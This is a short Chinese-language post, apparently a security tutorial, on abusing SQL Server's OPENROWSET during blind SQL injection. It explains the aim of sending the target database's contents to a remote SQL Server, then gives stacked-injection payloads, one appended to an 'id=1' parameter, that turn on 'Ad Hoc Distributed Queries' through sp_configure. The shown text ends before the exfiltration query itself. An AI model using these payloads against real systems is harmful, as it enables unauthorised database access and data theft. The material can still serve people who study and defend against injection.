sqlserver openrowset转发利用

数据运维 2023-08-12 捡田螺的小男孩 手机阅读

适用于盲注，页面不返回信息，这种转发利用需要一台sqlserver机器

原理：把当前数据库中的内容发送到远程的sqlserver机器上

  • 启用 Ad Hoc Distributed Queries：

;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure开启扩展id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure